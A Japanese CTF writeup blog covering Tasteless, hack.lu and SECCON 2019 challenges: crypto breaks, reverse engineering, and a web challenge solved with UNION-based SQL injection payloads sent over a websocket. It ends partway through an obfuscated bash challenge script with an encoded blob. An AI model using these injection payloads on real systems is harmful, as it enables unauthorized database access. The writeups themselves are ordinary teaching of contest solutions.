Tasteless CTF 2019 Writeup
Tasteless CTF 2019 について
Tasteless CTF 2019 が開催されました。
2019年10月26日午後9時~2019年10月27日午後9時(24時間)
このCTFも難易度の高い問題が多かったです。色々問題を見ていましたが、チュートリアル問題も含めて結局2問しか解くことができませんでした。 一応今回もチームで参加しました。結果は、47/157位で155点でした。 今回、私が実際に解いた2問のWriteupを紹介します。
同日にBackdoorCTF 2019も開催されていました。 こちらも同時に参加していました。Writeupを書きましたので、参考にしてみてください。
Tasteless CTF 2019 Writeup(2問)
sanity(misc)
問題
this challenge is protected.
hitme.tasteless.eu:10001
protected challenges will require a proof-of-work like this:
sha1(abc123, input) prefix = 00000...
you need to respond with a single line suffix to abc123, so that sha1(abc123[input]) has a 00000 prefix example: sha(abc12344739190).hexdigest = 000000872D5625DEE5FD0EA44B230D7A98C1B2CA
you can usego run pow.go abc123 00000
orpython pow.py abc123 00000
to generate your own. the pow binary is go, compiled for linux/amd64.
- pow
- pow.go
- pow.py
解答例
Tasteless CTF のチュートリアル問題です。 このCTFは、少し変わっていて、netcatで接続する問題にプロテクトがかかっている場合があります。 他のCTFと同じようにnetcatで接続するだけでは、問題にたどり着くことができません。
netcatで接続してみると、以下のようになります。
$ nc hitme.tasteless.eu 10001 sha1(cf27ff1e75faba1c, input) prefix = 00000...
Tasteless CTFは、接続用のツールを提供しており、これを使って問題を解いていく必要があるようです。 ヘルプを見ると以下のように表示されます。
$ ./pow usage solve args: Usage: ./pow <prefix> <hash> Usage: ./pow d616656ece36eb66 00000 solve serverresponse: Usage: ./pow '<serverresponse>' Usage: ./pow 'sha1(d616656ece36eb66, input) prefix = 00000...' netcat mode: Usage: ./pow connect <host> <port> Usage: ./pow connect hitme.tasteless.eu 10001 server mode: Usage: ./pow listen <addr> <host> <port> Usage: ./pow listen :12345 hitme.tasteless.eu 10001
実行すると、フラグが表示されました。
$ ./pow connect hitme.tasteless.eu 10001 welcome! tctf{are_y0u_readdddyyyy}
FLAG
tctf{are_y0u_readdddyyyy}
babypad(crypto)
問題
We heard this kind of enription is super securr, so we'll just give you the flag encripted!
nc hitme.tasteless.eu 10401
$ sha1sum chall.c
d64fc2e2f979b693696efe1762e18153df1b6170 chall.c
Author: plonk
chall.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <assert.h> int main() { char *plaintext = NULL; char *one_time_pad = NULL; char *ciphertext = NULL; size_t flag_length = 0; FILE *flag = fopen("flag.txt", "r"); FILE *urandom = fopen("/dev/urandom", "r"); assert(flag && urandom); /* * Get flag length, and allocate memory for the plaintext, * one-time pad and ciphertext. */ fseek(flag, 0, SEEK_END); flag_length = ftell(flag); rewind(flag); plaintext = malloc(flag_length + 1); one_time_pad = malloc(flag_length + 1); ciphertext = malloc(flag_length + 1); assert(plaintext && one_time_pad && ciphertext); /* Read the plaintext and the one-time-pad */ fread(plaintext, flag_length, 1, flag); fread(one_time_pad, flag_length, 1, urandom); plaintext[flag_length] = '\0'; one_time_pad[flag_length] = '\0'; /* Make sure that the one-time-pad isn't too short. */ assert(strlen(plaintext) == strlen(one_time_pad)); for (int i = 0; i < flag_length; i++) { ciphertext[i] = plaintext[i] ^ one_time_pad[i]; } fwrite(ciphertext, flag_length, 1, stdout); return 0; }
解答例
この問題は、ソースコードが提供されました。 読んでみると、以下のような処理を行っていました。
flag.txt
のデータサイズを求める。flag.txt
のデータサイズ+1の長さのバッファ(plaintext
、one_time_pad
、ciphertext
)を3つ確保する。flag.txt
からデータを読み出し、plaintext
に格納する。/dev/urandom
からデータを読み出し、one_time_pad
に格納する。plaintext
とone_time_pad
を1文字ずつ取り出して、それぞれをXOR演算し、ciphertext
に格納する(flag.txt
のデータサイズ分繰り返す)。ciphertext
を標準出力に出力する。
ただし、よく読んでみると、以下のような処理が確認できます。
C言語のstrlenは、Null文字までの文字数を返す関数です。
そのため、/dev/urandom
から読み出したデータに\0
が含まれる場合、ここでエラーとなり終了してしまいます。
/* Make sure that the one-time-pad isn't too short. */
assert(strlen(plaintext) == strlen(one_time_pad));
実際にコンパイルして、何度か実行していると想定箇所で終了しました。
$ gcc chall.c $ ./a.out a.out: chall.c:35: main: Assertion `strlen(plaintext) == strlen(one_time_pad)' failed. Aborted (core dumped)
よって、XORキーには、0x00
が含まれないということが分かりました。
そのため、何度もXORで暗号化された文字列を取得し、0x01~0xFFで復号していけば絞り込むことができそうです。
以下のようなスクリプトを作成し、復号パターンを絞り込んでいきました。
from pwn import * import string def check_dec_pattern(pattern, enc_flag, offset): new_pattern = "" for key in range(1, 0x100): ch = chr(enc_flag[offset] ^ key) if ch in pattern: new_pattern += ch return new_pattern def get_enc_flag(): while True: context.log_level = "error" con = remote("hitme.tasteless.eu", 10401) enc_flag = con.recvall() if len(enc_flag) > 0: return enc_flag def main(): max_len = len(get_enc_flag()) pattern_list = [] for _ in range(max_len): pattern = string.ascii_letters + string.digits + string.punctuation pattern_list.append(pattern) loop_end = False while loop_end == False: enc_flag = get_enc_flag() loop_end = True for i in range(max_len): new_pattern = check_dec_pattern(pattern_list[i], enc_flag, i) pattern_list[i] = new_pattern if len(new_pattern) > 1: print(len(new_pattern), end=", ") loop_end = False else: print(new_pattern, end=", ") print() print("".join(pattern_list)) if __name__ == "__main__": main()
結構時間がかかりましたが、完全に復号することができました。
$ python solve.py 93, 94, 93, 94, 94, 93, 94, 94, 94, 94, 94, 94, 93, 94, 93, 94, 94, 93, 94, 93, 94, 93, 94, 93, 93, 94, 94, 94, 94, 93, 94, 94, 93, 94, 94, 94, 94, 92, 93, 93, 93, 94, 93, 93, 94, 93, 94, 93, 93, 93, 94, 92, 93, 94, 92, 94, 93, 94, 93, 93, 93, 92, 94, 94, 94, 93, 92, 94, 94, 92, 93, 93, 94, 94, 91, 93, 93, 93, 94, 93, 93, 94, 92, 94, 93, 93, 92, 93, 92, 93, 94, 91, 94, 92, 94, 92, 93, 92, 91, 94, 93, 93, 93, 92, 94, 93, 92, 93, 93, 94, 93, 90, 92, 92, 93, 94, 92, 92, 93, 92, 94, 92, 92, 92, 92, 92, 93, 94, 91, 93, 91, 94, 92, 93, 91, 91, 94, 92, 93, 93, 92, 94, 92, 91, 92, 92, 94, 93, # 省略 t, c, t, f, {, p, 1, z, _, u, s, 2, :, 4, l, l, -, t, 3, h, _, b, y, 7, e, 5, >, 0, n, 3, _, t, i, m, 3, }, , t, c, t, f, {, p, 1, z, _, u, s, 2, :, 4, l, l, -, t, 3, h, _, b, y, 7, e, 5, >, 0, n, 3, _, t, i, m, 3, }, , t, c, t, f, {, p, 1, z, _, u, s, 3, :, 4, l, l, -, t, 3, h, _, b, y, 7, e, 5, >, 0, n, 3, _, t, i, m, 3, }, , tctf{p1z_us3:4ll-t3h_by7e5>0n3_tim3}
FLAG
tctf{p1z_us3:4ll-t3h_by7e5>0n3_tim3}
hack.lu CTF 2019 Writeup
hack.lu CTF 2019 Writeup について
hack.lu CTF 2019 が開催されました。
2019年10月22日午後7時~2019年10月24日午後7時(48時間)
https://fluxfingersforfuture.fluxfingers.net/info
かなり難易度の高いCTFでした。OTセキュリティに焦点を当てているのか、 別のアーキテクチャのPwn問題だったり、古い言語が使われていたり、工場系のワードがよく出ていました。 一応今回もチームで参加しましたが、私しか解けていませんでした。 結果は、104/973位で477点でした。このCTFの中で回答率の高い3問解けたので、そのWriteupを紹介します。
hack.lu CTF 2019 Writeup(3問)
Nucular Power Plant(baby-web)
問題
We found this overview page of nucular power plants, maybe you can get us some secret data to fight them?
http://31.22.123.49:1909
解答例
指定されたURLにアクセスすると、以下のようなページが表示されました。 原子力発電所の各施設の発電量の確認ができるようです。
とりあえず、F12で確認しました。 main.jsを見てみると、以下の処理が確認できました。 websocketで接続し、Plant情報を取ってきて表示する処理となっているようです。
const elPlantList = document.getElementById('plant-list'); const elPlantListLoading = document.getElementById('plant-list-loading'); const elPlantDetail = document.getElementById('plant-detail'); const elPlantDetailLoading = document.getElementById('plant-detail-loading'); const plantListItem = (ws, plant) => { const li = document.createElement('li'); const fali = document.createElement('span'); const icon = document.createElement('i'); li.onclick = (e) => { ws.send(plant); }; fali.className = 'fa-li'; icon.className = 'fas fa-industry-alt'; li.innerText = plant; fali.appendChild(icon); li.appendChild(fali); elPlantList.appendChild(li); }; const plantList = (ws, plants) => { // clear old entries while (elPlantList.hasChildNodes()) { elPlantList.removeChild(elPlantList.firstChild); } for (const plant of plants) { plantListItem(ws, plant); } elPlantList.style = 'display: block;'; elPlantListLoading.style = 'display: none;'; }; const plantDetails = (plant) => { plantPowerSupply(0); const fields = ["name", "type", "power", "operation", "operator", "shutdown"]; for (const field of fields) { for (const el of document.getElementsByClassName(`plant-${field}`)) { el.innerText = plant[field]; } } elPlantDetail.style = 'display: block;'; elPlantDetailLoading.style = 'display: none;'; }; const plantPowerSupply = (powerSupply) => { for (const el of document.getElementsByClassName('plant-power-supply')) { el.innerText = powerSupply % 101; } }; const main = () => { const ws = new WebSocket(`ws://${window.location.host}/ws`); ws.onerror = (e) => { alert('WebSocket connection failed.'); }; ws.onmessage = (e) => { const data = JSON.parse(e.data); if (typeof data === 'string') { alert(data); } else if (typeof data === 'number') { plantPowerSupply(data); } else if (Array.isArray(data)) { plantList(ws, data); } else { plantDetails(data); } } } main();
Pythonからwebsocketに接続するようなスクリプトを作成しました。
初回接続時にPlant名のリストを取得でき、Plant名を送信するとそのPlant情報が取得できるようです。
また、それ以降は、Current Power Supply
情報が取得できるようです。
from websocket import create_connection import json def main(): ws = create_connection("ws://31.22.123.49:1909/ws") result = json.loads(ws.recv()) print(result) ws.send(result[0]) result = json.loads(ws.recv()) print(result) for _ in range(5): result = json.loads(ws.recv()) print(result) ws.close() if __name__ == "__main__": main()
実行すると、以下のようになります。
$ pip install websocket $ python test.py ['Gundremmingen C', 'Grohnde', 'Phillipsburg 2', 'Brokdorf', 'Isar 2', 'Emsland', 'Neckarwestheim 2'] {'operation': 1985, 'name': 'Gundremmingen C', 'operator': 'RWE', 'shutdown': 2021, 'type': 'BWR', 'power': 1288} 3011294498 2473469445 1778470357 3795357061 3846035812
次に、総当たりで1文字ずつ送信するスクリプトを作成しました。
from websocket import create_connection import json import string def main(): ws = create_connection("ws://31.22.123.49:1909/ws") result = json.loads(ws.recv()) print(result) for ch in string.printable: ws.send(ch) result = json.loads(ws.recv()) print("{}: {}".format(ch, result)) ws.close() if __name__ == "__main__": main()
実行すると、以下のようになります。
$ python test.py ['Gundremmingen C', 'Grohnde', 'Phillipsburg 2', 'Brokdorf', 'Isar 2', 'Emsland', 'Neckarwestheim 2'] 0: Error: QueryReturnedNoRows 1: Error: QueryReturnedNoRows 2: Error: QueryReturnedNoRows # 省略 X: Error: QueryReturnedNoRows Y: Error: QueryReturnedNoRows Z: Error: QueryReturnedNoRows !: Error: QueryReturnedNoRows ": Error: SqliteFailure(Error { code: Unknown, extended_code: 1 }, Some("unrecognized token: \"\"\"\"\"")) #: Error: QueryReturnedNoRows $: Error: QueryReturnedNoRows # 省略
"
を送信したときだけ、別のエラーが返ってきています。
Error: SqliteFailure(Error { code: Unknown, extended_code: 1 }, Some("unrecognized token: \"\"\"\"\""))
SQLiteのエラーが返ってきているので、SQLインジェクションができそうです。 以下のようなスクリプトを作成し、色々なクエリを投げてみました。
from websocket import create_connection import json import sys def main(): if len(sys.argv) < 2: print("input error") return ws = create_connection("ws://31.22.123.49:1909/ws") result = json.loads(ws.recv()) print(result) query = sys.argv[1] ws.send(query) print("query:", query) result = json.loads(ws.recv()) if type(result) == dict: print("result:", end="") for item in result.items(): print("\t{}, {}".format(item[0], item[1])) else: print("result:", result) if __name__ == "__main__": main()
" UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master--
と入力すると、nucular_plant
テーブル情報を参照することができました。
このテーブルでPlant情報を管理しているようです。
$ python test.py '" UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master-- ' ['Gundremmingen C', 'Grohnde', 'Phillipsburg 2', 'Brokdorf', 'Isar 2', 'Emsland', 'Neckarwestheim 2'] query: " UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master-- result: operator, nucular_plant shutdown, 1 power, 2 name, nucular_plant type, CREATE TABLE nucular_plant ( id INTEGER PRIMARY KEY, name TEXT NOT NULL, type TEXT NOT NULL, power INTEGER NOT NULL, operation INTEGER NOT NULL, operator TEXT NOT NULL, shutdown INTEGER NOT NULL ) operation, 1
次に " UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master WHERE rootpage=3--
でrootpageを指定して別のテーブル情報を取得しました。
どうやら、secret
テーブルがあるようです。
$ python test.py '" UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master WHERE rootpage=3-- ' ['Gundremmingen C', 'Grohnde', 'Phillipsburg 2', 'Brokdorf', 'Isar 2', 'Emsland', 'Neckarwestheim 2'] query: " UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master WHERE rootpage=3-- result: name, secret power, 3 shutdown, 1 operator, secret type, CREATE TABLE secret ( id INTEGER PRIMARY KEY, name TEXT NOT NULL, value TEXT NOT NULL ) operation, 1
あとは、secret
テーブル情報を参考に" UNION SELECT name,value,id,1,name,1 FROM secret--
と入力してみると、フラグが取得できました。
$ python test.py '" UNION SELECT name,value,id,1,name,1 FROM secret-- ' ['Gundremmingen C', 'Grohnde', 'Phillipsburg 2', 'Brokdorf', 'Isar 2', 'Emsland', 'Neckarwestheim 2'] query: " UNION SELECT name,value,id,1,name,1 FROM secret-- result: power, 2 operation, 1 type, flag{sqli_as_a_socket} name, flag operator, flag shutdown, 1
FLAG
flag{sqli_as_a_socket}
VsiMple(rev)
問題
Evil Oil corporations are trying to obfuscate their computers in order to destroy the world. Show 'em their stupidity!
Download challenge files
解答例
実行ファイルを渡されたので、とりあえずfileコマンドを打ってみます。 64bitのPEファイルのようです。
$ file VsiMple.exe VsiMple.exe: PE32+ executable (console) x86-64, for MS Windows
実行してみると、フラグの入力を求められます。適当に打ってみると、:(
と返されました。
PS> .\VsiMple.exe flag pls: hoge :(
次に、Ghidraでデコンパイルしてみました。
60行目を見てみると、ret = (*(&local_d8)[num])(&local_d8);
としており、関数テーブルから関数を指定して、呼び出している処理が確認できます。
また、その関数の指定は、58行目のところでループごとに変動するようになっていまいます。
今度は、実際にx64dbgで動かしながら処理を確認してみます。
該当の箇所でbreakさせました。
Continueを押していくと、以下の順に呼び出されていることが分かりました。
1回目:0x00007FF7C2358240
2回目:0x00007FF7C23581C0
3回目:0x00007FF7C23581C0
4回目:0x00007FF7C23581B0
次に、上記の関数にbreakpointを置いて、flag
と入力して実行してみました。
前回のように適当に入力した場合と違い、呼び出し回数が多くなっているのが確認できます。
さらに、flag{
と入力して実行してみました。
すると、呼び出し回数が先ほどよりも多くなりました。
どうやら1文字ずつ判定しているようです。
ここまで分かったので、1文字ずつ総当たりで、呼び出し回数が多くなる入力を探していきました。
総当たりの結果、flag{br34k1ng_th3_s1mul4t1on_m4tr1x_style}
と入力した場合が最大の呼び出し回数となりました。
この文字列がフラグとなります。
FLAG
flag{br34k1ng_th3_s1mul4t1on_m4tr1x_style}
COBOL OTP(crypto)
問題
To save the future you have to look at the past. Someone from the inside sent you an access code to a bank account with a lot of money. Can you handle the past and decrypt the code to save the future?
Download challenge files
解答例
以下のようなCobolで書かれたプログラムが渡されました。
identification division. program-id. otp. environment division. input-output section. file-control. select key-file assign to 'key.txt' organization line sequential. data division. file section. fd key-file. 01 key-data pic x(50). working-storage section. 01 ws-flag pic x(1). 01 ws-key pic x(50). 01 ws-parse. 05 ws-parse-data pic S9(9). 01 ws-xor-len pic 9(1) value 1. 77 ws-ctr pic 9(1). procedure division. open input key-file. read key-file into ws-key end-read. display 'Enter your message to encrypt:'. move 1 to ws-ctr. perform 50 times call 'getchar' end-call move return-code to ws-parse move ws-parse to ws-flag call 'CBL_XOR' using ws-key(ws-ctr:1) ws-flag by value ws-xor-len end-call display ws-flag with no advancing add 1 to ws-ctr end-add end-perform. cleanup. close key-file. goback. end program otp.
ソースコードを読むと、以下のような処理となっています。
key.txt
を読み出す。Enter your message to encrypt:
と表示する。getchar
で1文字ずつ標準入力を受け付ける。- 入力値と
key.txt
の値をXORする。 - XORされた文字を出力する。
- 3~5を50回繰り返す。
ただし、よくソースコードを見てみると、77 ws-ctr pic 9(1).
となっており、
ws-ctrは、0~9までしか保持できないようになっています。
よって、XORされるキーは、key.txt
の初めの10文字分となっています。
また、もう一つのファイルを見てみました。 以下のようになっており、出力結果のダンプとなっているようです。
$ cat out Enter your message to encrypt: y;dhuF]UjhC-1T`h&F1*T{_p02J $ hexdump -C out 00000000 45 6e 74 65 72 20 79 6f 75 72 20 6d 65 73 73 61 |Enter your messa| 00000010 67 65 20 74 6f 20 65 6e 63 72 79 70 74 3a 0a a6 |ge to encrypt:..| 00000020 d2 13 96 79 3b 10 64 68 75 9f dd 46 9f 5d 17 55 |...y;.dhu..F.].U| 00000030 6a 68 43 8f 8c 2d 92 31 07 54 60 68 26 9f cd 46 |jhC..-.1.T`h&..F| 00000040 87 31 2a 54 7b 04 5f a6 eb 06 a4 70 30 11 32 4a |.1*T{._....p0.2J| 00000050 0a |.| 00000051
XORキーが10桁分しかないことが分かっているので、後は予測しながらフラグを復号していきます。 おそらく入力された文字列は、以下のような感じになっているはずです。
flag{?????
??????????
??????????
??????????
????????}\n
そのため、XORキーの0~4番目と8~9番目は、求められそうです。
しかし、まだ5~7番目が分かりません。ここは、総当たりをしてみます。
以下のようなスクリプトを書きました。5~7番目は、総当たりで出力するようにしています。
import itertools import string def split_n(s, n): return [s[i: i+n] for i in range(0, len(s), n)] def xor_bytes(b, key): result = bytearray() for i in range(len(b)): dec = b[i] ^ key[i % len(key)] result.append(dec) return bytes(result) def search_key_candidate(enc_flag_list, offset): key = [] for k in range(0x100): tmp_s = "" for s in enc_flag_list: ch = chr(s[offset] ^ k) if ch in string.printable and ch not in string.whitespace: tmp_s += ch if len(tmp_s) == len(enc_flag_list): key.append(k) return key def main(): with open("out", "rb") as f: f.readline() enc_flag = f.readline() enc_flag_list = split_n(enc_flag, 10) key_candidates1 = xor_bytes(enc_flag_list[0], b"flag{xxxxx") key_candidates2 = xor_bytes(enc_flag_list[-1], b"xxxxxxxx}\n") key = [ key_candidates1[0], # f key_candidates1[1], # l key_candidates1[2], # a key_candidates1[3], # g key_candidates1[4], # { 0x00, 0x00, 0x00, key_candidates2[8], # } key_candidates2[9], # \n ] key5_candidates = search_key_candidate(enc_flag_list, 5) key6_candidates = search_key_candidate(enc_flag_list, 6) key7_candidates = search_key_candidate(enc_flag_list, 7) for i in key5_candidates: for j in key6_candidates: for k in key7_candidates: key[5] = i key[6] = j key[7] = k flag = xor_bytes(enc_flag, key).decode("utf-8") print("({:4},{:4},{:4}): {}".format(hex(i), hex(j), hex(k), flag), end="") if __name__ == "__main__": main()
試しに実行してみると、178,416件のフラグ候補が出力されました。
$ python solve.py | nl | tail -n 1 178416 (0x7f,0x7f,0x5f): flag{Do;_u_c4n_h*5_CO2_c3x+?_&_s4v3U+$3_fUtUrOnm}
ここからは、grepしながら探していきます。
フラグの後半にfUtUr
という文字列があり、future
のように見えます。
以下のように、grepしてみると、3,024件まで候補を絞ることができました。
$ python solve.py | grep fUtUre | nl | tail -n 1 $ python solve.py | grep fUtUr3 | nl | tail -n 1 $ python solve.py | grep fUtUrE | nl | tail -n 1 3024 (0x75,0x7f,0x5f): flag{No;_u_c4n_b*5_CO2_c3r+?_&_s4v3_+$3_fUtUrEnm}
3,024件程度なら目grepできそうです。
flag{
の後のN
から始まる3文字の単語でいい感じのやつを目grepしました。
18行目が一番いい感じになっています。
18 (0x75,0x20,0x13): flag{N0w_u_c4n_buy_CO2_c3rts_&_s4v3_th3_fUtUrE1!}
強引でしたが、これがフラグとなっていました。
(もっとスマートに解くには、どうすればいいんだろうか......)
FLAG
flag{N0w_u_c4n_buy_CO2_c3rts_&_s4v3_th3_fUtUrE1!}
SECCON 2019 Online CTF Writeup
SECCON 2019 Online CTF について
SECCON 2019 Online CTFが開催されました。
2019年10月19日午後15時~2019年10月20日午後15時(24時間)
https://www.seccon.jp/2019/seccon2019/seccon_ctf_2019_quals.html
毎年恒例のSECCON CTFの予選です。 私は、今回初参加となります。ただ、当日試験と被っており、ほとんど参加することができませんでした。 問題内容も結構難しく、ちゃんと参加していてもほぼ解けていなかったと思います。 今回は、11人のチームで参加しました。結果は、128/799位で545点でした。 私も、一応1問だけ解くことができたので、そのWriteupを紹介します。
SECCON 2019 Online CTF Writeup(1問)
Beeeeeeeeeer(misc)
問題
Let's decode!
・Beeeeeeeeeer
解答例
Beeeeeeeeeer_ec349d2c91cb37b7657bc3d684d0b5c4c8cb06a2
を開いてみると、以下のようなスクリプトとなっていました。
ワンラインでいろいろと処理が実行されるようです。
echo -e "\033#8";sleep 1;C=$(tput cols);L=$(tput lines);for ID in $(seq $(($L*$C*6)));do x=$(($RANDOM%$C));y=$(($RANDOM%$L));printf "\033[${y};${x}f ";done;for ID in $(seq $(($L*$C*6)));do x=$(($RANDOM%$C));y=$(($RANDOM%$L));printf "\033[${y};${x}fF";done;clear;echo TGV0J3MgZGVjb3JkaW5nISjiiafiiIDiiaYqKQo=|base64 -d;read;$'\164\162\141\160' '' $'\61' $'\62' $'\63' $'\x31\x35' $'\x31\x38' $'\u0031\u0039' $(echo MjAK |base64 -d);echo $-|grep x && exit;$(echo =btB |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d)|$(echo =bNpyW3M |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d) $(echo XRKY |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d) $(echo =ogO |rev|base64 -d)&&exit;if [ -z "$1" ];then ID=$'\x6e\x61\x6e\x64\x6f\x6b\x75';else ID="$1";fi;if whoami | grep -e root -e user -e adm -e nobody -e test -e "$ID" >/dev/null;then :;else exit; fi;for i in $($'\x73\x65\x71' $((RANDOM % 10)));do $($'\x65\x63\x68\x6f' c2xlZXAK | $'\x62\x61\x73\x65\x36\x34' -d) $((RANDOM % 300));done;$'\145\143\150\157' $-|$(echo =oAclJ3Z |rev|base64 -d) $(echo =oAe |rev|base64 -d) && $($'\x65\x63\x68\x6f' ZXhpdAo= | $'\x62\x61\x73\x65\x36\x34' $'\x2d\x64' );$(echo =btB |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d)|$(echo M3WypNb= |tr A-Za-z N-ZA-Mn-za-m|base64 -d) $(echo YKRX |tr A-Za-z N-ZA-Mn-za-m|base64 -d) $(echo Btb= |tr A-Za-z N-ZA-Mn-za-m|base64 -d)&&exit;$'\145\170\160\157\162\164' $'\u0053\u0031'=$(echo aG9nZWZ1Z2EK |base64 -d);echo -n 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